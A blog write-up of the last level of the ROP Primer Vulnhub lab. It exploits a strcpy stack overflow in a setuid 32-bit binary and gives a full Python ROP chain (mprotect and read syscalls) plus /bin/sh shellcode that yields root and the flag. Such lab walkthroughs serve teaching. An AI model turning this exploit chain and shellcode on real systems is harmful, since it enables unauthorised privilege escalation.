ROP Primer: Level 2

This post covers the last level of the ROP Primer Vulnhub VM.

As usual, let’s start by getting some info about the binary.

level2@rop:~$ ls -l
total 588
-rw-r—— 1 root root     27 Jan 20  2015 flag
-rwsr-xr-x 1 root root 595252 Jan 20  2015 level2
level2@rop:~$ file level2
level2: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=baba7f4fd049424caed048eb73eb6668b45a962e, not stripped

ASLR is disabled and we can run the checksec script to get info about other mitigations in place.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

Sending a long input to the program makes it crash, so we know there is no bounds checking.

EDIT: after completing the challenge I re-read the instructions, where it explicitly states that there is a web server running on the VM with more info about the challenges. One of the things it provides is the source code, so even though it’s not difficult to find the bugs, it should have been more obvious and these posts shorter. Lesson learned: always read the instructions at least twice.

level2@rop:~$ ./level2 blabla
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, blabla!
level2@rop:~$ ./level2 $(python -c 'print "A"*100')
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Segmentation fault

Let’s disassemble the main function.

gdb-peda$ disas main
Dump of assembler code for function main:
   0x08048254 <+0>: push   ebp
   0x08048255 <+1>: mov    ebp,esp
   0x08048257 <+3>: and    esp,0xfffffff0
   0x0804825a <+6>: sub    esp,0x30
   0x0804825d <+9>: cmp    DWORD PTR [ebp+0x8],0x1
   0x08048261 <+13>:    jle    0x804829b <main+71>
   0x08048263 <+15>:    mov    DWORD PTR [esp],0x80ab4e8
   0x0804826a <+22>:    call   0x8048dc0 <puts>
   0x0804826f <+27>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048272 <+30>:    add    eax,0x4
   0x08048275 <+33>:    mov    eax,DWORD PTR [eax]
   0x08048277 <+35>:    mov    DWORD PTR [esp+0x4],eax
   0x0804827b <+39>:    lea    eax,[esp+0x10]
   0x0804827f <+43>:    mov    DWORD PTR [esp],eax
   0x08048282 <+46>:    call   0x8051160 <strcpy>
   0x08048287 <+51>:    lea    eax,[esp+0x10]
   0x0804828b <+55>:    mov    DWORD PTR [esp+0x4],eax
   0x0804828f <+59>:    mov    DWORD PTR [esp],0x80ab500
   0x08048296 <+66>:    call   0x8048d90 <printf>
   0x0804829b <+71>:    mov    eax,0x0
   0x080482a0 <+76>:    leave  
   0x080482a1 <+77>:    ret    
End of assembler dump.

It doesn’t do any bounds checking. strcpy copies argv[1] into the buffer and that’s it.

How many bytes do we need to provide in order to overwrite the ret address?

gdb-peda$ r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
…
Stopped reason: SIGSEGV
0x35624134 in ?? ()

Check the substring index.

>>> "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A".find("35624134".decode("hex")[::-1])
44

OK, so bytes 45-46-47-48 overwrite the ret.

The input is copied with strcpy, so it cannot contain any null bytes. We won’t be able to reuse the exploit from the first level, since it relies on several values that contain null bytes. We’ll have to use the mprotect and read syscalls instead.

level2@rop:~$ grep -E 'mprotect |read ' /usr/include/i386-linux-gnu/asm/unistd_32.h 
#define __NR_read 3
#define __NR_mprotect 125

We can use the address 0x080ca000 to store the shellcode. It’s part of the address space where the binary is mapped. This info can be obtained with the vmmap command inside gdb-peda.

gdb-peda$ vmmap
Start      End        Perm  Name
0x08048000 0x080ca000 r-xp  /home/level2/level2
0x080ca000 0x080cb000 rw-p  /home/level2/level2
0x080cb000 0x080ef000 rw-p  [heap]
0xb7fff000 0xb8000000 r-xp  [vdso]
0xbffdf000 0xc0000000 rw-p  [stack]

First, we want to execute mprotect(0x080ca000, 128, PROT_READ|PROT_WRITE|PROT_EXEC), so the registers need to contain the following values.

EAX = 125
EBX = 0x080ca000
ECX = 128
EDX = 7

After the memory region is marked as rwx we need to read the shellcode from the standard input. In order to execute read(0, 0x080ca000, 128), the registers need to be configured as follows.

EAX = 3
EBX = 0
ECX = 0x080ca000
EDX = 128

Note that we need to use the int 0x80; ret gadget to execute each syscall.

There are different ways to get the list of available gadgets. One of them is to upload the binary to ropshell.com, which also provides a searchable interface to filter gadgets by the register in use or the type of instruction.

The idea is to fulfill the requirements of each of the system calls by concatenating gadgets. For example, if we need to set EDX to 7, we can find a pop edx; ret gadget, place a 0xffffffff value in the stack, and then use the inc edx; ret gadget 8 times in a row.

In this particular challenge there are tons of useful gadgets available, so it’s not hard to find a way to set each register to the desired value.

The exploit looks as follows.

#!/bin/env python

import struct

def p(x):
    return struct.pack('<L', x)

# convert offset to absolute address
def c(x):
    return p(0x08048000 + x)

# empty payload
payload = ""

# padding
payload += "A" * 44

# mprotect(0x080ca000, 128, PROT_READ|PROT_WRITE|PROT_EXEC)
# edx = 7
payload += c(0x0000a476)    # pop edx; ret
payload += p(0xffffffff)    # edx
payload += c(0x00006da1)    # inc edx; add al, 0x83; ret
payload += c(0x00006da1)    # inc edx; add al, 0x83; ret
payload += c(0x00006da1)    # inc edx; add al, 0x83; ret
payload += c(0x00006da1)    # inc edx; add al, 0x83; ret
payload += c(0x00006da1)    # inc edx; add al, 0x83; ret
payload += c(0x00006da1)    # inc edx; add al, 0x83; ret
payload += c(0x00006da1)    # inc edx; add al, 0x83; ret
payload += c(0x00006da1)    # inc edx; add al, 0x83; ret

# ebx = 0x080ca000, ecx = 128
payload += c(0x0000a49d)    # pop ecx; pop ebx; ret
payload += p(0xffffffff)    # ecx
payload += p(0x080ca001)    # ebx = addr + 1
payload += c(0x00007871)    # dec ebx; ret
payload += c(0x000806db)    # inc ecx; ret
payload += c(0x000806db)    # inc ecx; ret
payload += c(0x000806db)    # inc ecx; ret
payload += c(0x0004fd5a)    # add ecx, ecx; ret
payload += c(0x0004fd5a)    # add ecx, ecx; ret
payload += c(0x0004fd5a)    # add ecx, ecx; ret
payload += c(0x0004fd5a)    # add ecx, ecx; ret
payload += c(0x0004fd5a)    # add ecx, ecx; ret
payload += c(0x0004fd5a)    # add ecx, ecx; ret

payload += c(0x000601d6)    # pop eax; ret
payload += p(0xffffffff)    # eax
payload += c(0x0002321e)    # add eax, ecx; ret
payload += c(0x000600c6)    # dec eax; ret
payload += c(0x000600c6)    # dec eax; ret

payload += c(0x0000aba0)    # int 0x80; ret

# read(0, 0x0804ca000, large value)
# eax = 3
payload += c(0x000601d6)    # pop eax; ret
payload += p(0xffffffff)    # eax
payload += c(0x000222ef)    # inc eax; ret
payload += c(0x000222ef)    # inc eax; ret
payload += c(0x000222ef)    # inc eax; ret
payload += c(0x000222ef)    # inc eax; ret

# ebx = 0, ecx = 0x080ca000
payload += c(0x0000a49d)    # pop ecx; pop ebx; ret
payload += p(0x080ca001)    # ecx = addr + 1
payload += p(0xffffffff)    # ebx
payload += c(0x000008e9)    # dec ecx; ret
payload += c(0x000806d1)    # inc ebx; ret

# edx = any large value
payload += c(0x0000a476)    # pop edx; ret
payload += p(0x01111111)    # edx

payload += c(0x0000aba0)    # int 0x80; ret

# jmp to ecx = 0x080ca000
payload += c(0x0005e42c)    # jmp ecx

print payload

We can reuse the shell spawning shellcode from level0. Remember to keep the shell open with cat.

level2@rop:~$ (python -c 'print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'; cat) | ./level2 "$(python ./exp.py)"
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv??????????????????
                                                                                                         qۆ
                                                                                                          ۆ
                                                                                                          ۆ
                                                                                                          Z}  ց}
????ƀ
ƀ
?ց
??????
     ????ц
         v?,d
!
id
uid=1002(level2) gid=1002(level2) euid=0(root) groups=0(root),1002(level2)
cat flag
flag{to_rop_or_not_to_rop}
Advertisement

One thought on “ROP Primer: Level 2”

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s